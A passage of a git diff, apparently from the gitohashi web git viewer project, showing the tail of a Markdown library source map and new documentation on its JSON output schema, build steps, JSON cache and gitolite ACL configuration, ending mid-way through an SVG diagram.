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\u0022,\u0022file\u0022:\u0022showdown.min.js\u0022}\n\u005c No newline at end of file\ndiff --git a/cmake/.config.h.in.swp b/cmake/.config.h.in.swp\nnew file mode 100644\nindex 0000000..086b275\nBinary files /dev/null and b/cmake/.config.h.in.swp differ\ndiff --git a/cmake/config.h.in b/cmake/config.h.in\nnew file mode 100644\nindex 0000000..6b0f2c3\n--- /dev/null\n+++ b/cmake/config.h.in\n@@ -0,0 +1,2 @@\n+#cmakedefine JG2_HAVE_ARCHIVE_H\n+#cmakedefine JG2_HAVE_BLAME_MAILMAP\n\u005c No newline at end of file\ndiff --git a/doc/README-JSON.md b/doc/README-JSON.md\nnew file mode 100644\nindex 0000000..ce5e296\n--- /dev/null\n+++ b/doc/README-JSON.md\n@@ -0,0 +1,270 @@\n+## JSON output\n+\n+The library produces well-formed JSON ready for `JSON.parse()` that\n+always has an outer container like this\n+\n+```\n+{\n+ \u0022schema\u0022:\u0022jg2-1\u0022,\n+ ... dynamic entries ...\n+ \u0022items\u0022: [\n+\n+... one or more \u0022job\u0022 JSON `{ structures }`, may be from cache ...\n+\n+ ],\n+ ... dynamic stats entries ...\n+}\n+```\n+\n+### Dynamic JSON header entries\n+\n+JSON name|Meaning\n+---|---\n+schema|always \u0022jg2-1\u0022 currently\n+vpath|The virtual URL path the server is at, eg, \u0022/git/\u0022. URL paths back to the server must start with this\n+avatar|URL path to link to the avatar cache, eg, \u0022/avatar/\u0022\n+alang|Whatever the browser gave to us for `ACCEPT_LANGUAGE`\n+f|server flags... b0 \u003d 1: server can handle blame, b1 \u003d 1 \u003d server can do snapshot archives, b2 \u003d 1 \u003d blog mode\n+gen_ut|Unix time this page was created\n+reponame|Name of the repository this refers to\n+desc|Description of the project in the repository from gitweb\n+owner|`{identity}` structure (see later) using data from gitweb\n+url|git clone url from gitweb\n+\n+Note on `\u0022f\u0022`... libjsongit2 builds adaptively to the featureset in the version\n+of libgit2 that it's linked to and whether libarchive was present. b0 and b1\n+let us know if the server can handle blame (libgit \u003e 0.21) and creating\n+snapshot archives (libarchive required), so the UI can adapt accordingly.\n+\n+b2, \u0022blog mode\u0022 parses markdown in the git repo as a semi-static blog; if set\n+it implies a simplified UI should be shown, eg, without the mode tabs or tree\n+directory view. \n+\n+### Dynamic JSON trailer entries\n+\n+JSON name|Meaning\n+---|---\n+g|us (microseconds) taken to produce the overall JSON\n+chitpc|Percentage of JSON cache hits for this vhost\n+ehitpc|Percentage of ETAG cache hits for this vhost\n+\n+### Identity structure\n+\n+JSON name|Meaning\n+---|---\n+name|Name like \u0022Fred Bloggs\u0022\n+email|Email like fred@bloggs.com\n+md5|md5sum of the email (used with gravatar)\n+\n+### OID structure\n+\n+JSON name|Meaning\n+---|---\n+oid|OID the information applies to\n+alias|List of refs that share this OID\n+\n+### git_time structure\n+\n+JSON name|Meaning\n+---|---\n+time|Unix time\n+offset|Timezone offset from unix time in minutes\n+\n+### Signature structure\n+\n+JSON name|Meaning\n+---|---\n+git_time|`{git_time structure}`\n+name|Name\n+email|email\n+md5|md5sum of the email\n+\n+### Job JSON structure\n+\n+A single URLpath \u0022connection context\u0022 may need to spawn multiple \u0022jobs\u0022 in a\n+single response. For example, if there is a README.md in the directory, the\n+`\u0022items\u0022: []` array will contain two JSON items, one from a \u0022/tree/\u0022 job to show\n+the directory contents, and another showing the contents of the README.md blob\n+for the revision being shown.\n+\n+The contents of the Job JSON depends on the job type... and the kind of jobs\n+that can appear are set by the URLpath the JSON is returned for. Eg the JSON\n+for a tree directory listing is (for a `/tree/` URL) is like this:\n+\n+```\n+{ \u0022schema\u0022:\u0022libjg2-1\u0022,\n+ \u0022oid\u0022:{ \u0022oid\u0022: \u002279397b21a38d263263a65abb69b8e1fffd326796\u0022,\n+ \u0022alias\u0022: [ \u0022refs/heads/master\u0022]},\u0022tree\u0022: [ \n+{ \u0022name\u0022: \u0022READMEs\u0022,\u0022mode\u0022: \u002216384\u0022, \u0022size\u0022:0},\n+{ \u0022name\u0022: \u0022cmake\u0022,\u0022mode\u0022: \u002216384\u0022, \u0022size\u0022:0},\n+{ \u0022name\u0022: \u0022contrib\u0022,\u0022mode\u0022: \u002216384\u0022, \u0022size\u0022:0},\n+...\n+{ \u0022name\u0022: \u0022component.mk\u0022,\u0022mode\u0022: \u002233188\u0022, \u0022size\u0022:1659},\n+{ \u0022name\u0022: \u0022libwebsockets.dox\u0022,\u0022mode\u0022: \u002233188\u0022, \u0022size\u0022:11618}],\n+\u0022s\u0022:{\u0022c\u0022:1534293661,\u0022u\u0022:2442}}\n+```\n+\n+### Job JSON header\n+\n+Ever job JSON starts with the same header, which also goes into the cached\n+version.\n+\n+JSON name|Meaning\n+---|---\n+schema|\u0022libjg2-1\u0022\n+cid|If cache enabled, and relevant to the job, the cache hash of this JSON\n+oid|`{OID structure}` described above; present if content is related to an oid\n+\n+### Job JSON trailer\n+\n+Every \u0022job\u0022 JSON has this information appended and the information is also\n+part of the cached copy.\n+\n+JSON name|Meaning\n+---|---\n+c|Creation Unix Time\n+u|us (microseconds) taken to create originally\n+\n+## Job-specific JSON reference\n+\n+### tree directory\n+\n+Outer JSON name: **tree**\n+\n+Comprises an array of structures of the form\n+\n+JSON name|Meaning\n+---|---\n+name|The file name in the directory\n+mode|low 9 bits are xrw bits for owner, group, other, b14 means directory\n+size|size of the blob in bytes\n+\n+### tree file\n+\n+JSON name|Meaning\n+---|---\n+blobname|The file name of the blob\n+blob|the JSON-escaped content of the blob\n+\n+### repo list\n+\n+Outer JSON name: **repolist**\n+\n+Comprises an array of structures of the form\n+\n+JSON name|Meaning\n+---|---\n+reponame|The name of the repo (xyz.git/ would have the reponame \u0022xyz\u0022)\n+desc|The gitweb description\n+name|Gitweb owner name\n+email|Gitweb owner email\n+md5|md5 of the gitweb owner email\n+url|clone URL\n+\n+### reflist\n+\n+A list of refs from the repo\n+\n+Outer JSON name: **reflist**\n+\n+Comprises an array of structures of the form\n+\n+JSON name|Meaning\n+---|---\n+name|The name of the ref, eg \u0022refs/heads/master\u0022\n+summary|A `{summary}` JSON struct, see below\n+\n+The `{summary}` struct for a branch looks like\n+\n+JSON name|Meaning\n+---|---\n+type|\u0022commit\u0022\n+time|The unix time of the commit\n+time_ofs|The timezone offset in minutes\n+oid_tree|The `{OID structure}` for the tree at this rev\n+oid|The `{OID structure}` for the commit at this rev\n+msg|The short commit log message\n+sig_commit|The `{signature structure}` for the committer\n+sig_author|The `{signature structure}` for the author\n+\n+The `{summary}` struct for a tag looks like\n+\n+JSON name|Meaning\n+---|---\n+type|\u0022tag\u0022\n+oid_tag|The `{OID structure}` for the tagged commit\n+type_tag|\u0022commit\u0022\n+msg_tag|The short commit log message\n+sig_tagger|The `{signature structure}` for the tagger\n+\n+### log\n+\n+This is a series of commits\n+\n+Outer JSON name: **log**\n+\n+Comprises an array of structures of the form\n+\n+JSON name|Meaning\n+---|---\n+name|The `{OID structure}` for the commit at this rev\n+summary|A `{summary}` JSON struct, see below\n+\n+The `{summary}` struct contains \n+\n+JSON name|Meaning\n+---|---\n+type|\u0022commit\u0022\n+time|The unix time of the commit\n+time_ofs|The timezone offset in minutes\n+oid_tree|The `{OID structure}` for the tree at this rev\n+oid|The `{OID structure}` for the commit at this rev\n+msg|The short commit log message\n+sig_commit|The `{signature structure}` for the committer\n+sig_author|The `{signature structure}` for the author\n+\n+### blame\n+\n+This information is provided after a \u0022job\u0022 delivering the unannotated blob\n+for the file being blamed.\n+\n+Outer JSON name: **blame** and **contrib**\n+\n+The first `\u0022blame\u0022: []` section comprises an array of structures of the form\n+\n+JSON name|Meaning\n+---|---\n+ordinal|sort-order ordinal\n+orig_oid|The `{OID structure}` for the pre-patched content\n+final_oid|The `{OID structure}` for the post-patched content\n+sig_orig|The `{signature structure}` for the original content patch\n+sig_final|The `{signature structure}` for the final content patch\n+log_final|The short commit log message for the final content patch\n+op|Original patch filepath for the content (in the case of file rename or move)\n+ranges|An array of `{blame_range}` structures (see below)\n+\n+The `{blame_range}` struct consists of\n+\n+JSON name|Meaning\n+---|---\n+l|the number of lines\n+o|The start line number from the original file / revision\n+f|The start line number in the revision of the file being blamed\n+\n+after the `\u0022blame\u0022: []` array there is a second array `\u0022contrib\u0022: []`, which\n+comprises an array of structures of the form:\n+\n+JSON name|Meaning\n+---|---\n+l|The number of lines still remaining in the file from this contributor\n+o|The ordinal of the `blame: []` section entry whose `sig_final` member was by this contributor\n+\n+NOTES: The first section is pre-sorted into order of first appearence in the\n+file being blamed. It represents a patch which can have multiple discontiguous\n+line ranges in the version of the file currently being blamed, described in\n+its `\u0022ranges\u0022: []` member.\n+\n+After that information, the `\u0022contrib\u0022: []` array is a list of all individual\n+contributors to the current file state, sorted by the number of lines of text\n+they have contributed. If your libgit2 is recent enough (master or 0.28+) then\n+this list takes into account any .mailmap in the top level git in HEAD.\ndiff --git a/doc/README-build.md b/doc/README-build.md\nnew file mode 100644\nindex 0000000..e2d0d73\n--- /dev/null\n+++ b/doc/README-build.md\n@@ -0,0 +1,85 @@\n+# Building gitohashi\n+\n+## Dependency packages\n+\n+\n+\n+ - libgit2\n+ \n+ https://libgit2.org/\n+\n+ - libwebsockets (already in distros but requires master or v3.1 +)\n+ \n+ https://libwebsockets.org/git/libwebsockets\n+ \n+These are both easy-to-build cmake projects like gitohashi.\n+\n+## Build\n+\n+### Step 1: install build packages\n+\n+Distro|Dependency Package name\n+---|---\n+Fedora | cmake, libgit2, libgit2-devel, libarchive, libarchive-devel\n+Ububtu 14.04 | cmake, libgit2-0, libgit2-dev, libarchive13, libarchive-dev\n+Ubuntu 16.04 | cmake, libgit2-24, libgit2-dev, libarchive13, libarchive-dev\n+\n+#### Note on libgit2 versions\n+\n+libjsongit2 support libgit2 going back to v0.19 found in Ubuntu 14.04 and up\n+to current master.\n+\n+Blame support requires libgit2 version \u003e\u003d0.21, but libjsongit2 adapts to\n+versions older than that by gracefully disabling blame.\n+\n+0.28+ (and master libgit2) support `.mailmap` integration with blame, again if\n+it's not available libjsongit2 blame still works without it.\n+\n+If you want to build a later, local libgit2 to get these features, it is also a\n+cmake project that's easy to build the same way as libjsongit2 itself.\n+\n+You can direct libjsongit2 to build using your local libgit2 instead of the\n+packaged version like this:\n+\n+```\n+$ cmake .. -DJG2_GIT2_INC_PATH\u003d/usr/local/include \u005c\n+ -DJG2_GIT2_LIB_PATH\u003d/usr/local/lib/libgit2.so\n+```\n+\n+### Step 2: clone, build, install\n+\n+One dependent project and gitohashi need to be built, but both of them can be\n+built will cmake using default options simply.\n+\n+Order|Project|Clone command\n+---|---|---\n+1|libwebsockets| `git clone https://libwebsockets.org/repo/libwebsockets`\n+3|gitohashi| `git clone https://warmcat.com/repo/gitohashi`\n+\n+enter the cloned dir for each in turn and build like this:\n+\n+```\n+$ mkdir build\n+$ cd build\n+$ cmake ..\n+$ make \u0026\u0026 sudo make install\n+```\n+\n+NOTE1: You can configure the daemon or other project to be built with symbols using\n+```\n+$ cmake .. -DCMAKE_BUILD_TYPE\u003dDEBUG\n+```\n+\n+NOTE2: If you are directly serving, HTTP/2 is advantageous performance-wise on\n+pages where there are a lot of avatars or other fetches going on from the same\n+server... you can enable this on libwebsockets simply with\n+`cmake .. -DLWS_WITH_HTTP2\u003d1` instead of the `cmake ..` step.\n+\n+NOTE3: On BSD / OSX the OpenSSL is in a strange place... you need to inform\n+the gitohashi build. You can just do\n+\n+```\n+$ export CFLAGS\u003d\u0022-I/usr/local/opt/openssl/include\u0022 \n+```\n+\n+before the build.\ndiff --git a/doc/README-cache.md b/doc/README-cache.md\nnew file mode 100644\nindex 0000000..358a1f9\n--- /dev/null\n+++ b/doc/README-cache.md\n@@ -0,0 +1,107 @@\n+## Transparent JSON Cache\n+\n+If the vhost config member `json_cache_base` is non-NULL, then it is used as\n+the base path for a transparent JSON cache. When a job starts to generate some\n+content, a hash is generated using the following keys\n+\n+ 1. An epoch number set in libjsongit2 that allows whole caches to be\n+ invalidated when a mandatory format change occurs on a later version\n+ \n+ 2. The job type (generate a commit view, or a snapshot, etc)\n+ \n+ 3. The count (some jobs generate a requested amount of output only)\n+ \n+Then, if the urlpath implies a specific repo\n+ \n+ 4. The repo refs hash, a hash generated from all ref oids and names in the\n+ repo\n+ \n+ 5. repo dir (the filesystem dir of the repo, eg, /srv/repositories/myrepo.git)\n+ \n+ 6. the urlpath mode (blame, tree, etc)\n+\n+ 7. urlpath filepath (the file inside the repo we are looking at)\n+ \n+If the urlpath did not imply a specific repo, then\n+ \n+ 8. The HEAD oid of gitolite-admin, if any\n+\n+ 9. Every repo name accessible using the current vhost and ctx acl user.\n+\n+The generated hash becomes the filename in the cache dir for the content.\n+\n+Later, requests for jobs also have their hash computed the same way, only if\n+everything is the same (including the refs state of the repo...) will the\n+cached hash be arrived at the same.\n+\n+Cache files are created with an appended pid and pointer to the ctx requesting\n+the job, since it's possible multiple contexts or other instances could have\n+also been asked to create the context before a cache entry exists. When the\n+cache content generation is complete, the temp filename is renamed to the\n+final cacahe filename... if this fails because another instance got there first,\n+the temp cache file is simply deleted.\n+\n+### Scope of cache\n+\n+The cache operates on \u0022content generated by a libjsongit2 job\u0022, usually JSON,\n+but it also operates on /plain/ (directly serve files from a repo with an\n+appropriate mimetype) and /snapshot/ (generate tarballs and zipfiles for a repo\n+ref).\n+\n+It deliberately does not cover the vhost HTML template, the css, js etc loaded\n+by that nor the outer JSON braces and content there generated by libjsongit2.\n+\n+This allows old cached content, still reflecting the current repo state, to be\n+served using the newest HTML, CSS, JS etc the same as freshly-generated content.\n+libjsongit2 also adds up-to-date dynamic information about page generation time\n+and cache statistics in the outer JSON whether the page contains some or\n+otherwise all cached JSON content; this is shown in the footer in the example\n+HTML template.\n+\n+### Cache hashes and ETAG\n+\n+libjsongit2 can compute the cache hash for URL + repo state output without\n+actually generating the contents. This allows the cache hash to also be used\n+with [HTTP's RFC7232 ETAG](https://tools.ietf.org/html/rfc7232) scheme, where the browser is given the\n+cache hash along with the contents, and if it asks for it again where no\n+prerequisite has changed, can simply be told in the HTTP response code that\n+the version the browser has in its local cache is still current.\n+\n+This allows requests for even dynamically-generated content like /plain/ and\n+/snapshot/ URLs to be completed with just the cache hash generation and\n+comparison, without doing any work or sending anything except the HTTP 304\n+notification, if the browser already has the same version we would have\n+generated and sent. This is particularly effective when, eg, the README.md\n+in the root tree view has many pictures served from the versioned repo itself\n+and the user passes through it multiple times using the tree part.\n+\n+### Cache maintenance\n+\n+The amount of storage the cache is allowed to use can be limited using the\n+`.cache_size_limit` of `struct jg2_vhost_config` at vhost creation time.\n+\n+A thread lazily scans the cache subdirs and sleeps for a second after each one.\n+Since there are 16 x 16 cache subdirs, it completes a scan every 256s (around\n+4 minutes). As the cache is managed by LRU, the thread takes the approach\n+to only collect the names the 128 oldest files, regardless of how many files\n+there actually are. So the cache management action is cheap, done lazily and\n+only uses a maximum of around 12KiB heap.\n+\n+If at the end of the scan the thread sees the total storage exceeds the maximum,\n+it unlinks files on its list, starting with the oldest first until it's back\n+under the limit. If 128 files weren't enough to get it under the limit, it will\n+start the next scan immediately and run it doing 8 cache subdirectories per\n+second (30s) until the excess is cleared.\n+\n+If the cache is not near the maximum, scans are delayed according to an estimate\n+of how long it would take to reach the maximum, for no longer than an hour.\n+\n+### Keeping bot spidering out of the JSON cache\n+\n+If the libjsongit2 context is created with the flag bit JG2_CTX_FLAG_BOT set,\n+then although the access can use already-cached items, it is disabled from\n+creating new things in the cache. This is because aggressive random spidering\n+will generate continuous \u0022noise\u0022 cache content where the access has no\n+implication that another user may consider the content interesting in the\n+future, flushing out user-generated content that does imply it may be accessed\n+again.\n\u005c No newline at end of file\ndiff --git a/doc/README-gitolite.md b/doc/README-gitolite.md\nnew file mode 100644\nindex 0000000..ab4c102\n--- /dev/null\n+++ b/doc/README-gitolite.md\n@@ -0,0 +1,89 @@\n+### Selecting which repos to show on a vhost\n+\n+By default, no repo is allowed to be shown, even when the vhost has supplied the\n+`repo_base_dir` config.\n+\n+You can override this simply to get started by providing the vhost `.acl_user`\n+name of \u0022@all\u0022 as the example code does. This will allow libjsongit2 to show\n+the contents of any repo in the `repo_base_dir`.\n+\n+For a real server, libjsongit2 uses gitolite ACLs to control which vhosts\n+can see what. It's not uncommon for a server to have several HTTP vhosts, but\n+only a single system like gitolite handling repos in a single directory.\n+\n+So it becomes important to restrict the view of the different vhosts to the\n+repos that are relevant to them. Rather than reinvent the wheel, libjsongit2\n+lets you configure what it will show using gitolite config.\n+\n+\n+\n+If the gitolite well-known repo `gitolite-admin` is present in the repo\n+directory, it is parsed automatically using the vhost's `acl_user` to discover\n+the ACLs possible for this vhost.\n+\n+Additionally, when creating the context for a specific transaction, you can\n+pass in an authorized username for the transaction using the `authorized`\n+parameter in the context creation api. If non-NULL, this adds to the repos\n+already available from selecting using the vhost `acl_user` name.\n+\n+#### Allow gitolite to set repo gitweb config\n+\n+Gitohashi acquires gitweb repo information from the bare repo config file, at\n+`myrepo.git/config`. You can set these by hand using git config syntax if you\n+want, by adding a section like this...\n+\n+```\n+[gitweb]\n+ description \u003d libwebsockets lightweight C networking library\n+ url \u003d https://libwebsockets.org/repo/libwebsockets\n+ owner \u003d Andy Green \u003candy@warmcat.com\u003e\n+```\n+\n+...but if you are already using gitolite, rather than have to ssh in and edit\n+the bare repo config each time, it's much more convenient to define and manage\n+these in the same gitolite config file used for repo creation and ACLs already.\n+\n+Gitolite supports it but to allow the gitolite config file to alter the bare\n+repo config, you must one-time whitelist the gitweb-related keys we want to\n+control from there in `.gitolite.rc` in your gitolite user home dir.\n+\n+```\n+$GL_GITCONFIG_KEYS \u003d \u0022gitweb.description gitweb.owner gitweb.url\u0022;\n+```\n+\n+Then, in your usual gitolite config you can do this kind of thing\n+\n+```\n+repo libwebsockets\n+ RW+ \u003d @ag\n+ R \u003d v-lws\n+ config gitweb.description \u003d \u0022libwebsockets lightweight C networking library\u0022\n+ config gitweb.owner \u003d \u0022Andy Green \u003candy@warmcat.com\u003e\u0022\n+ config gitweb.url \u003d \u0022https://libwebsockets.org/repo/libwebsockets\u0022\n+```\n+\n+When you update the gitolite-admin remote repo, it will apply the defined\n+config into the remote repos' config immediately. In pages rendered by\n+gitohashi, the updated gitweb information will be reflected immediately.\n+\n+#### Set up per-vhost virtual users\n+\n+libjsongit2 can understand gitolite ACLs for the repos. You can associate a\n+libjsongit2 vhost with a user name in your gitolite config, and that vhost will\n+show on the web any repo that the user name has access to.\n+\n+The user name doesn't have to be a real user with ssh keys.\n+\n+Eg, here we give the \u0022user\u0022 v-lws read access to `libwebsockets`...\n+\n+```\n+repo libwebsockets\n+ RW+ \u003d @ag\n+ R \u003d v-lws\n+```\n+\n+if we tell the libjsongit2 vhost its acl-user is also `v-lws`, it will\n+understand it should serve the `libwebsockets` repo and any other repos `v-lws`\n+has read access to.\n+\n+No other repo will be opened by gitohashi for serving.\ndiff --git a/doc/doc-assets/deps-goh.svg b/doc/doc-assets/deps-goh.svg\nnew file mode 100644\nindex 0000000..b6bdd6b\n--- /dev/null\n+++ b/doc/doc-assets/deps-goh.svg\n@@ -0,0 +1,271 @@\n+\u003c?xml version\u003d\u00221.0\u0022 encoding\u003d\u0022UTF-8\u0022?\u003e\n+\u003c!-- Created with Inkscape (http://www.inkscape.org/) --\u003e\n+\u003csvg width\u003d\u0022149.08mm\u0022 height\u003d\u0022112.99mm\u0022 version\u003d\u00221.1\u0022 viewBox\u003d\u00220 0 149.08205 112.98794\u0022 xmlns\u003d\u0022http://www.w3.org/2000/svg\u0022 xmlns:cc\u003d\u0022http://creativecommons.org/ns#\u0022 xmlns:dc\u003d\u0022http://purl.org/dc/elements/1.1/\u0022 xmlns:rdf\u003d\u0022http://www.w3.org/1999/02/22-rdf-syntax-ns#\u0022 xmlns:xlink\u003d\u0022http://www.w3.org/1999/xlink\u0022\u003e\n+\t\u003cdefs\u003e\n+\t\t\u003cfilter id\u003d\u0022aj\u0022 x\u003d\u0022-.015388\u0022 y\u003d\u0022-.054509\u0022 width\u003d\u00221.0308\u0022 height\u003d\u00221.109\u0022 color-interpolation-filters\u003d\u0022sRGB\u0022\u003e\n+\t\t\t\u003cfeGaussianBlur stdDeviation\u003d\u00220.024099401\u0022/\u003e\n+\t\t\u003c/filter\u003e\n+\t\t\u003cradialGradient id\u003d\u0022g\u0022 cx\u003d\u0022289.72\u0022 cy\u003d\u0022412.83\u0022 r\u003d\u0022.053743\u0022 gradientTransform\u003d\u0022matrix(1.1735 0 0 1.1058 -50.276 -43.662)\u0022 gradientUnits\u003d\u0022userSpaceOnUse\u0022 xlink:href\u003d\u0022#ag\u0022/\u003e\n+\t\t\u003clinearGradient id\u003d\u0022ag\u0022\u003e\n+\t\t\t\u003cstop stop-color\u003d\u0022#c2c9ca\u0022 stop-opacity\u003d\u0022.37603\u0022 offset\u003d\u00220\u0022/\u003e\n+\t\t\t\u003cstop stop-color\u003d\u0022#fff\u0022 stop-opacity\u003d\u00220\u0022 offset\u003d\u00221\u0022/\u003e\n+\t\t\u003c/linearGradient\u003e\n+\t\t\u003clinearGradient id\u003d\u0022h\u0022 x1\u003d\u00228.4716\u0022 x2\u003d\u002217.364\u0022 y1\u003d\u0022124.88\u0022 y2\u003d\u0022123.79\u0022 gradientUnits\u003d\u0022userSpaceOnUse\u0022 xlink:href\u003d\u0022#j\u0022/\u003e\n+\t\t\u003clinearGradient id\u003d\u0022j\u0022\u003e\n+\t\t\t\u003cstop stop-color\u003d\u0022#c8c6ca\u0022 stop-opacity\u003d\u00220\u0022 offset\u003d\u00220\u0022/\u003e\n+\t\t\t\u003cstop stop-color\u003d\u0022#c8c6ca\u0022 stop-opacity\u003d\u0022.72157\u0022 offset\u003d\u0022.39592\u0022/\u003e\n+\t\t\t\u003cstop stop-color\u003d\u0022#c8c6ca\u0022 stop-opacity\u003d\u0022.41961\u0022 offset\u003d\u0022.48155\u0022/\u003e\n+\t\t\t\u003cstop stop-color\u003d\u0022#c8c6ca\u0022 stop-opacity\u003d\u00220\u0022 offset\u003d\u00221\u0022/\u003e\n+\t\t\u003c/linearGradient\u003e\n+\t\t\u003cfilter id\u003d\u0022ak\u0022 x\u003d\u0022-.015388\u0022 y\u003d\u0022-.054509\u0022 width\u003d\u00221.0308\u0022 height\u003d\u00221.109\u0022 color-interpolation-filters\u003d\u0022sRGB\u0022\u003e\n+\t\t\t\u003cfeGaussianBlur 